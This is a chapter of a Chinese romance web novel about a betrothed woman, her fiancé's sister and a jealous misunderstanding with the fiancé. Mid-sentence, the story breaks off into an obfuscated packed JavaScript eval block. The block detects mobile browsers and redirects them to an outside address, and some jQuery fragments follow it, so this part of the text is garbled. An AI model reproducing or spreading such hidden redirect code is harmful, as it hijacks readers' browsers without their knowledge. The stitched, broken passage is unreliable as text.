季凌的状态有些怪异，但具体怎么怪异，栗岫云说不上来。


    她与季衡尚且没有到达推心置腹的地步，更遑论他这个认识仅仅半日的妹妹。


    她只好找些闲话打圆场：“妹妹画得真好，这马可有什么来头吗？”


    季凌勾唇一笑，眼神却是黯然的：“这马叫疾风，是哥哥最喜欢的马。”


    栗岫云有些犯怵，她从来不曾注意到，季衡的马长什么样。


    “原来那马名疾风，倒是个英气的名字。”她只得含糊应着。


    “不是现下这匹，是哥哥从前的旧马。”


    季凌语气轻缓，眼中却添了几分怅然。


    “那马极是聪慧乖顺，从前哥哥探亲归府，还会让我骑着它去郊野散心。”


    栗岫云下意识追问：“后来呢？”


    “它没了。”


    季凌螓首低垂，面色平静得近乎淡漠，语气无关痛痒，却道出一件让栗岫云猝不及防的事。


    “哥哥沙场突围那日，粮草断绝，便杀了它给将士们充作口粮。”


    一时间，屋里的气氛有些黏重。


    栗岫云没有骑过马，甚至没有养过任何宠物，她不知道该如何缓和这气氛。


    好在季凌很快抬起头，笑了笑转了话题：“嫂嫂来找我，可是嫁衣或嫁妆哪里不对？”


    “不……没有，都很好。”


    这话是真心的。


    季凌眼波又凝了回来，浮在嘴角的笑意，也沉进了眼底。


    她握着栗岫云的手：“嫂嫂不必多心，无论是备嫁之事，还是府中婢子伺候不周，凡有不满之处，只管说来便是。”


    说罢，便引着栗岫云在榻上落座，又道：“哥哥早早就寄了家书回来，千叮万嘱，说嫂嫂孤身一人无依无靠，备嫁的物什须得事事用心，生怕委屈了你，让你觉着季家不够重视。”


    这番表白，即使栗岫云再不懂婚礼规制，也感受到了足足的诚意。


    “我晓得的。”她轻声应道。


    “嫂嫂当真晓得？”季凌追问一句，目光灼灼。


    栗岫云迷惑。


    “嫂嫂，可知哥哥为何封侯？”


    栗岫云据实摇头。


    这事，季衡从未提过。


    “我一猜便知，他定然不会同你说起从前的事。”


    季凌似笑非笑，唇角弯着弧度，眼底却无半分笑意。


    “旁人都说，我这哥哥是陛下跟前的疯狗，陛下要谁死，他便不问缘由、不分黑白，只管提刀去取人性命，言官谏他是专事逢迎、媚上惑主之辈。”


    疯狗。


    这已是栗岫云第二次听见旁人这般评价季衡。


    而逢迎媚主，还是第一次。


    “可我不这么觉着。”季凌眼睫轻颤，语气陡然郑重，话锋又转，“或许嫂嫂会觉得，我是私心维护自家兄长。”


    栗岫云浅笑着摇头，语气温和：“兄妹情深，维护兄长本就是情理之中，何来私心一说。”


    季凌身子微微前倾，抓着她的手紧了紧，目光牢牢锁着她。


    “那嫂嫂觉着，我哥哥，究竟是个什么样的人？”


    这个答案，栗岫云早有成算：“至情至性之人。”


    季凌一怔，探询的目光骤然褪去，握着的手也失了力道。


    不过瞬息，季凌便回过神，先前的迷茫怔然，仿若被风拂散，整个人褪去了先前的沉郁，透着一身清明通透。


    “有嫂嫂这句话，便足够了。”


    难道先前那般，皆是在忧心她与季衡情意不笃，怕兄长真心错付，怕她不懂兄长的真心？


    栗岫云没有兄弟姐妹，却也为这份情深意切的兄妹情动容。


    ……


    从季凌的院子回来后，栗岫云本打算继续研读医书，可翻了两页纸，一个字也没入脑。


    她忽而觉着，这个妹妹也不简单。


    从那马说起，轻描淡写提起季衡的往事，又点出他如今的艰难。


    是借此敲打她？


    是了，或许在季凌眼里，她并非陪着他白手起家的糟糠之妻，不过是荣登繁华后尽享果实的米虫。


    会担心别有所图也属正常。


    可这些事，季衡却为何只字未提？


    是担心知道他一人独宠、百官唾弃的境况，弃他而去？


    不对，真是那样，他为何不娶一个世家大族的女子做依傍？


    栗岫云下意识揉搓着纸张。


    至情至性。


    他的确至情至性，不过更多是体现在情欲之事上，毫不掩饰对这美丽皮囊的贪恋，和肌肤欢愉的渴望。


    她还是太不了解他了。


    可是，事到如今，了解又如何，不了解又如何，距离婚期只有一个多月，是她金口玉言答应的，就算她能反悔，季衡能放过？


    “在想什么？这般出神。”


    清越嗓音陡然响起，栗岫云蓦然回神。


    季衡不知何时站立在窗下，眸光中的柔情似星火闪耀，正凝望着她。


    “看书。”她淡淡应了声，收回目光，随手又翻一页书


    这过于冷淡的反应，像一根针刺进季衡心头。


    他瞬间敛笑，拨开榻桌，以一个潇洒利落的姿势翻进窗户，长腿一伸，稳稳落座在她身旁。


    栗岫云给他吓一跳。


    “怎么不高兴？”季衡长臂搭在靠背上，把人圈在怀里，“可是有人刁难？或是住得不舒心？”


    栗岫云没有回话，眼神一滞，眉宇间颇有些嫌弃。


    “你喝酒了？”她反问道。


    季衡老实点头：“今晚有应酬，喝了两盏清酒。”


    两盏清酒，却带着一股子清甜的花果香，和他之前的冷调木香完全不同。


    栗岫云生怕自己弄错了，将鼻尖凑到他脖颈处，细细闻了闻才敢确定。


    的确是另一种香气。


    像他这样的高官贵胄，应酬也是繁华无比的吧？怎么可能只喝清酒，怕是乐伎美姬环绕，这才沾染了脂粉香味。


    她倏然凑近的动作，让季衡心头一荡，只当她要亲他，当即微微偏脸相迎，眼底满是期待。


    栗岫云下意识退了一退，看着那张英朗的脸，闭着眼睛，满是期待和享受。


    混账东西！在外花天酒地归来，竟还想在她这里讨温存？


    她冷着脸，抬手便将手里的医书朝他脸上掷去：“臭死了，别碰我！”


    季衡冷不防挨了这一下，更加确定她方才确实在生气。


    不是家仆伺候不周，也不是嫁妆有何不妥，而是在气恼他。


    他捡起掉落的书，刚要开口，便见栗岫云起身拉开房门，做了个请的姿势，竟是要


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112059|193028||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    赶他走。


    这就要赶人走？


    那可不行，虽然不知道究竟何处惹祸事让她气恼，就这么回去也是不可能的。


    可是他伸手想抱她，却被一把推开。


    她脸色暗沉：“我说了，你臭得很，不要碰我，快回去。”


    只是喝了两盏酒，有这么难闻吗？


    季衡哈了口气还没细闻，人已经被推着快出了门。


    “云儿。”他把着门，“究竟怎么了？为何恼我？”


    “快走吧，我要歇息了。”


    “那不行，话得说清楚。”季衡何等力气，手像大钳子牢牢扣着门，任栗岫云怎么使力也纹丝不动。


    又是这样。


    来硬的，奈何他不得。


    来软的，她心头那口气不允许。


    栗岫云索性撒手，转身便进了里间，在床头坐下，再不看他。


    果不其然，下一刻那家伙又跟了上来，又巴巴跪在她脚边，可怜兮兮的望着她。


    “云儿，我知错了，下次喝酒，必先更衣洗漱，再来看你，你别气了，好不好？”


    不行，不要再被他这假可怜模样骗了！


    上次也是，说得情真意切，稍一松懈，立马就扑上来。


    他的示弱，从来都是有所图谋。


    “呵，喝酒也好，怀抱美人也罢，我都无所谓的，时辰不早了，侯爷快快回去休息。”


    “怀抱美人？”季衡眉头一挑。


    栗岫云见他还装傻，更气恼了。


    “应酬嘛，自然是美人斟酒，美人陪醉，侯爷已然得了美人作伴，何需深夜来寻我？”


    美人，美人，连说了四个美人。


    季衡忽的反应过来，抬手揪着自己衣领凑近鼻尖，细细一闻，随即豁然开朗，脸上竟漫上灿烂笑意。


    栗岫云不知他怎地还笑得出来。


    是了，乡野村妇不知高官贵胄规矩，他以为随便糊弄两句就成了。


    不等她发作，季衡已然起身，长臂一伸揽住她肩头，强行将人带得挨着自己坐下。


    栗岫云又惊又气，此人脸皮甚厚，话都说到如此份上，不仅嬉皮笑脸，还动手动脚。


    当即攥起拳头，对着他胸前一顿乱捶：“放开我。”


    那拳头落在身上绵软无力，季衡却心头熨帖。


    反手握住她的手按在自己心口，语气柔然：“傻云儿，哪来的美人相伴？今夜只与定国公二公子对饮，这香气是嫂夫人院里的熏香，你若不信，明日请嫂夫人过来一问便知。”


    栗岫云捶打的动作骤然停住，浑身一僵，手被他紧紧扣着贴在他温热的胸膛上，挣也挣不开，只有他身上那股花果香萦绕鼻尖。


    “不过……”季衡俯身，温热气息拂过她耳际，语带笑意，顺带在她耳尖轻轻一啄，“难得你为我吃醋，我心里欢喜得很。”


    这话如惊雷炸在栗岫云耳边，她猛地回神，回想方才种种行径，追问香气、掷书斥他、赌气赶人，可不就是十足的吃醋模样？


    这误会大了！


    “谁、谁为你吃醋了，真是自作多情。”


    她又羞又恼，使劲抽回手，猛地背过身起立，只想逃离这令人窘迫的氛围。


    可身子刚动，便觉一股力道袭来，身体骤然失重旋转，下一瞬，便稳稳跌进一个柔软温热的怀抱里。